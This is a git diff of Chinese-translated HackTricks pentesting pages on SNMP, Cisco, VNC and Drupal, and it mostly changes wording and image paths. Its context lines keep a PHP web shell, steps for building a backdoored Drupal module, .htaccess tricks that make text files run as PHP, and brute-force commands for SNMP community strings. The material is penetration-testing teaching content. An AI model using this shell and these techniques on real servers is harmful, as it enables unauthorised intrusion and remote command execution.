<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
|
||||
### 如何
|
||||
|
||||
|
@ -54,7 +54,7 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_要求流利的波兰语书写和口语能力_).
|
||||
|
||||
|
@ -34,7 +34,7 @@ SNMP 还使用端口 **162/UDP** 进行 **traps**。这些是 **从 SNMP 服务
|
|||
|
||||
### MIB
|
||||
|
||||
为了确保 SNMP 访问在不同制造商和不同客户端-服务器组合之间正常工作,创建了 **管理信息库 (MIB)**。MIB 是 **存储设备信息的独立格式**。MIB 是一个 **文本** 文件,其中列出了设备的所有可查询 **SNMP 对象**,以 **标准化** 的树形层次结构呈现。它至少包含一个 `对象标识符` (`OID`),该标识符除了必要的 **唯一地址** 和 **名称** 外,还提供有关类型、访问权限和相应对象描述的信息。\
|
||||
为了确保 SNMP 访问在不同制造商和不同客户端-服务器组合之间正常工作,创建了 **管理信息库 (MIB)**。MIB 是 **存储设备信息的独立格式**。MIB 是一个 **文本** 文件,其中列出了设备的所有可查询 **SNMP 对象**,以 **标准化** 的树形层次结构呈现。它至少包含一个 `对象标识符` (`OID`),该标识符除了必要的 **唯一地址** 和 **名称** 外,还提供有关相应对象的类型、访问权限和描述的信息。\
|
||||
MIB 文件采用 `抽象语法标记一` (`ASN.1`) 基于 ASCII 文本格式编写。**MIB 不包含数据**,但它解释了 **在哪里找到哪些信息** 以及它的外观,返回特定 OID 的值,或使用了哪种数据类型。
|
||||
|
||||
### OIDs
|
||||
|
@ -47,7 +47,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
|
|||
|
||||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||
|
||||
您可以通过此网站 **浏览** **OID 树**: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 或 **查看 OID 的含义**(如 `1.3.6.1.2.1.1`)访问 [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)。\
|
||||
您可以通过网络 **浏览** OID 树: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 或 **查看 OID 的含义**(如 `1.3.6.1.2.1.1`)访问 [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)。\
|
||||
有一些 **众所周知的 OID**,例如 [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 中的 OID,引用了 MIB-2 定义的简单网络管理协议 (SNMP) 变量。从 **此 OID 的待处理 OID** 中,您可以获取一些有趣的主机数据(系统数据、网络数据、进程数据...)
|
||||
|
||||
### **OID 示例**
|
||||
|
@ -69,7 +69,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
|
|||
|
||||
接下来是下一组数字。
|
||||
|
||||
* 1452 – 给出制造该设备的组织名称。
|
||||
* 1452 – 给出制造该设备的组织的名称。
|
||||
* 1 – 解释设备的类型。在这种情况下,它是一个闹钟。
|
||||
* 2 – 确定该设备是一个远程终端单元。
|
||||
|
||||
|
@ -85,7 +85,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
|
|||
|
||||
### SNMP 版本
|
||||
|
||||
SNMP 有两个重要版本:
|
||||
有 2 个重要的 SNMP 版本:
|
||||
|
||||
* **SNMPv1**:主要版本,仍然是最常见的,**身份验证基于字符串**(社区字符串),以 **明文** 形式传输(所有信息以明文形式传输)。**版本 2 和 2c** 也以 **明文** 发送 **流量**,并使用 **社区字符串作为身份验证**。
|
||||
* **SNMPv3**:使用更好的 **身份验证** 形式,信息以 **加密** 形式传输(可以进行 **字典攻击**,但找到正确的凭据比在 SNMPv1 和 v2 中要困难得多)。
|
||||
|
@ -98,8 +98,8 @@ SNMP 有两个重要版本:
|
|||
* **`public`** 主要是 **只读** 功能
|
||||
* **`private`** **读/写** 一般
|
||||
|
||||
请注意,**OID 的可写性取决于使用的社区字符串**,因此 **即使** 您发现使用了“**public**”,您也可能能够 **写入某些值**。此外,可能存在 **始终为“只读”的对象**。\
|
||||
如果您尝试 **写入** 一个对象,将收到 **`noSuchName` 或 `readOnly` 错误**。\*\*.\*\*
|
||||
请注意,**OID 的可写性取决于使用的社区字符串**,因此 **即使** 您发现使用了“**public**”,您也可能能够 **写入某些值。** 另外,可能存在 **始终为“只读”的对象**。\
|
||||
如果您尝试 **写入** 一个对象,将收到 **`noSuchName` 或 `readOnly` 错误**\*\*.\*\*
|
||||
|
||||
在版本 1 和 2/2c 中,如果您使用 **错误** 的社区字符串,服务器将不会 **响应**。因此,如果它响应,则使用了 **有效的社区字符串**。
|
||||
|
||||
|
@ -113,7 +113,7 @@ SNMP 有两个重要版本:
|
|||
|
||||
## 暴力破解社区字符串 (v1 和 v2c)
|
||||
|
||||
要 **猜测社区字符串**,您可以执行字典攻击。查看 [这里不同的方式来对 SNMP 执行暴力破解攻击](../../generic-methodologies-and-resources/brute-force.md#snmp)。一个常用的社区字符串是 `public`。
|
||||
要 **猜测社区字符串**,您可以执行字典攻击。查看 [这里不同的方法以对 SNMP 执行暴力攻击](../../generic-methodologies-and-resources/brute-force.md#snmp)。一个常用的社区字符串是 `public`。
|
||||
|
||||
## 枚举 SNMP
|
||||
|
||||
|
@ -185,7 +185,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
|||
|
||||
## 从 SNMP 到 RCE
|
||||
|
||||
如果您拥有允许您 **写入值** 的 **字符串**,您可能能够利用它来 **执行命令**:
|
||||
如果您拥有允许您 **写入值** 到 SNMP 服务的 **字符串**,您可能能够利用它来 **执行命令**:
|
||||
|
||||
{% content-ref url="snmp-rce.md" %}
|
||||
[snmp-rce.md](snmp-rce.md)
|
||||
|
@ -193,11 +193,11 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
|||
|
||||
## **大规模 SNMP**
|
||||
|
||||
[Braa](https://github.com/mteg/braa) 是一个大规模 SNMP 扫描器。此类工具的预期用途当然是进行 SNMP 查询——但与来自 net-snmp 的 snmpwalk 不同,它能够同时查询数十或数百个主机,并且在一个进程中。因此,它消耗的系统资源非常少,并且扫描速度非常快。
|
||||
[Braa ](https://github.com/mteg/braa) 是一个大规模 SNMP 扫描器。此类工具的预期用途当然是进行 SNMP 查询——但与来自 net-snmp 的 snmpwalk 不同,它能够同时查询数十或数百个主机,并且在一个进程中。因此,它消耗的系统资源非常少,并且扫描速度非常快。
|
||||
|
||||
Braa 实现了自己的 SNMP 栈,因此不需要任何 SNMP 库,如 net-snmp。
|
||||
|
||||
**语法:** braa \[社区字符串\]@\[\[SNMP 服务器的 IP\]:\[iso id\]
|
||||
**语法:** braa \[社区字符串\]@\[\[SNMP 服务器的 IP\]:\[iso id\]
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
|
@ -235,7 +235,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
|||
|
||||
## 欺骗
|
||||
|
||||
如果有一个 ACL 只允许某些 IP 查询 SMNP 服务,您可以在 UDP 数据包中伪造其中一个地址并嗅探流量。
|
||||
如果有一个 ACL 只允许某些 IP 查询 SNMP 服务,您可以在 UDP 数据包中伪造其中一个地址并嗅探流量。
|
||||
|
||||
## 检查 SNMP 配置文件
|
||||
|
||||
|
@ -243,9 +243,9 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果您对 **黑客职业** 感兴趣并想要破解不可破解的 - **我们正在招聘!** (_流利的波兰语书面和口语要求_)。
|
||||
如果您对 **黑客职业** 感兴趣并想要破解不可破解的 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -294,8 +294,8 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_要求流利的波兰语书写和口语能力_).
|
||||
|
||||
|
@ -23,7 +23,7 @@
|
|||
|
||||
## 渗透测试 Cisco 网络
|
||||
|
||||
**SNMP** 通过 UDP 在 161/UDP 端口上处理一般消息,在 162/UDP 端口上处理陷阱消息。该协议依赖于社区字符串,作为密码使 SNMP 代理和服务器之间的通信成为可能。这些字符串至关重要,因为它们决定访问级别,具体为 **只读 (RO) 或读写 (RW) 权限**。对于渗透测试人员来说,一个显著的攻击向量是 **暴力破解社区字符串**,旨在渗透网络设备。
|
||||
**SNMP** 通过 UDP 在 161/UDP 端口上处理一般消息,在 162/UDP 端口上处理陷阱消息。该协议依赖于社区字符串,作为密码使 SNMP 代理和服务器之间的通信成为可能。这些字符串至关重要,因为它们决定了访问级别,具体为 **只读 (RO) 或读写 (RW) 权限**。对于渗透测试人员来说,一个显著的攻击向量是 **暴力破解社区字符串**,旨在渗透网络设备。
|
||||
|
||||
执行此类暴力攻击的实用工具是 [**onesixtyone**](https://github.com/trailofbits/onesixtyone),它需要潜在社区字符串的列表和目标的 IP 地址:
|
||||
```bash
|
||||
|
@ -31,7 +31,7 @@ onesixtyone -c communitystrings -i targets
|
|||
```
|
||||
#### `cisco_config_tftp`
|
||||
|
||||
Metasploit框架包含`cisco_config_tftp`模块,便于提取设备配置,前提是获取RW社区字符串。此操作的基本参数包括:
|
||||
Metasploit框架具有`cisco_config_tftp`模块,便于提取设备配置,前提是获取RW社区字符串。此操作的基本参数包括:
|
||||
|
||||
* RW社区字符串 (**COMMUNITY**)
|
||||
* 攻击者的IP (**LHOST**)
|
||||
|
@ -52,7 +52,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# 5800,5801,5900,5901 - Pentesting VNC
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_要求流利的波兰语书写和口语能力_).
|
||||
|
||||
|
@ -50,8 +50,8 @@ vncviewer [-passwd passwd.txt] <IP>::5901
|
|||
make
|
||||
vncpwd <vnc password file>
|
||||
```
|
||||
您之所以能够这样做,是因为用于加密明文 VNC 密码的 3des 中使用的密码多年前已被逆向。\
|
||||
对于 **Windows**,您还可以使用此工具:[https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||
您可以这样做,因为用于在3des中加密明文VNC密码的密码多年前已被破解。\
|
||||
对于**Windows**,您还可以使用此工具:[https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||
我在这里也保存了该工具以便于访问:
|
||||
|
||||
{% file src="../.gitbook/assets/vncpwd.zip" %}
|
||||
|
@ -60,23 +60,23 @@ vncpwd <vnc password file>
|
|||
|
||||
* `port:5900 RFB`
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果您对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
如果您对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践AWS黑客技术:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,7 +10,7 @@
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -41,9 +41,9 @@ curl http://drupal-site.local/node/3
|
|||
在当前版本中,默认安装后仅通过访问网页不再可能安装插件。
|
||||
{% endhint %}
|
||||
|
||||
从 **8 版本开始,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **模块不再默认安装**。要利用此功能,我们必须 **自己安装该模块**。
|
||||
从版本 **8 开始,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **模块不再默认安装**。要利用此功能,我们必须 **自己安装该模块**。
|
||||
|
||||
1. 从 Drupal 网站下载最新版本的模块。
|
||||
1. 从 Drupal 网站下载该模块的最新版本。
|
||||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||
2. 下载完成后,转到 **`Administration`** > **`Reports`** > **`Available updates`**。
|
||||
3. 点击 **`Browse`**,选择我们下载的目录中的文件,然后点击 **`Install`**。
|
||||
|
@ -55,14 +55,14 @@ curl http://drupal-site.local/node/3
|
|||
在当前版本中,默认安装后仅通过访问网页不再可能安装插件。
|
||||
{% endhint %}
|
||||
|
||||
可以通过 **向现有模块添加 shell** 来创建后门模块。模块可以在 drupal.org 网站上找到。我们选择一个模块,例如 [CAPTCHA](https://www.drupal.org/project/captcha)。向下滚动并复制 tar.gz [归档](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) 的链接。
|
||||
后门模块可以通过 **向现有模块添加一个 shell** 来创建。模块可以在 drupal.org 网站上找到。我们选择一个模块,例如 [CAPTCHA](https://www.drupal.org/project/captcha)。向下滚动并复制 tar.gz [归档](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) 的链接。
|
||||
|
||||
* 下载归档并提取其内容。
|
||||
```
|
||||
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
||||
tar xvf captcha-8.x-1.2.tar.gz
|
||||
```
|
||||
* 创建一个包含以下内容的 **PHP web shell**:
|
||||
* 创建一个 **PHP web shell**,内容为:
|
||||
```php
|
||||
<?php
|
||||
system($_GET["cmd"]);
|
||||
|
@ -75,7 +75,7 @@ RewriteEngine On
|
|||
RewriteBase /
|
||||
</IfModule>
|
||||
```
|
||||
* 上述配置将在我们请求 /modules 中的文件时应用规则。将这两个文件复制到 captcha 文件夹并创建一个归档。
|
||||
* 上述配置将在我们请求 /modules 中的文件时应用 / 文件夹的规则。将这两个文件复制到 captcha 文件夹并创建一个归档。
|
||||
```bash
|
||||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
|
@ -93,13 +93,13 @@ tar cvf captcha.tar.gz captcha/
|
|||
|
||||
激活前:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
激活后:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 第2部分(利用_配置同步_功能) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
|
||||
|
@ -122,7 +122,7 @@ allow_insecure_uploads: false
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
到:
|
||||
|
||||
|
@ -136,7 +136,7 @@ allow_insecure_uploads: true
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**修补 field.field.media.document.field\_media\_document.yml**
|
||||
|
||||
|
@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
|
|||
|
||||
...
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
到:
|
||||
|
||||
|
@ -168,13 +168,13 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
|
|||
```
|
||||
> 我在这篇博客中没有使用它,但需要注意的是,可以以任意方式定义条目 `file_directory`,并且它容易受到路径遍历攻击(因此我们可以在Drupal文件系统树中向上返回)。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 第3部分(利用功能 _添加文档_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
|
||||
最后一步是最简单的,分为两个子步骤。第一步是上传一个 .htaccess 格式的文件,以利用Apache指令并允许PHP引擎解释 .txt 文件。第二步是上传一个包含我们有效载荷的 .txt 文件。
|
||||
最后一步是最简单的,分为两个子步骤。第一个是上传一个.htaccess格式的文件,以利用Apache指令并允许PHP引擎解释.txt文件。第二个是上传一个包含我们有效载荷的.txt文件。
|
||||
|
||||
文件: .htaccess
|
||||
文件:.htaccess
|
||||
```
|
||||
<Files *>
|
||||
SetHandler application/x-httpd-php
|
||||
|
@ -200,7 +200,7 @@ php_flag engine on
|
|||
|
||||
简单来说,如果我们以以下文件为例 [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)(该文件已经存在于 Drupal 核心中),我们有一个 339 行和 17.6 KB 大小的文件,这非常适合在中间添加一小段 PHP 代码(因为文件足够大)。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
文件:已修补的 LICENSE.txt
|
||||
```txt
|
||||
|
@ -235,11 +235,11 @@ programs whose distribution conditions are different, write to the author
|
|||
|
||||
首先,我们利用 _Add Document_ (/media/add/document) 功能上传包含 Apache 指令的文件 (.htaccess)。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**第3.2部分(上传文件 LICENSE.txt)**
|
||||
|
||||
|
@ -279,7 +279,7 @@ programs whose distribution conditions are different, write to the author
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -23,7 +23,7 @@
|
|||
|
||||
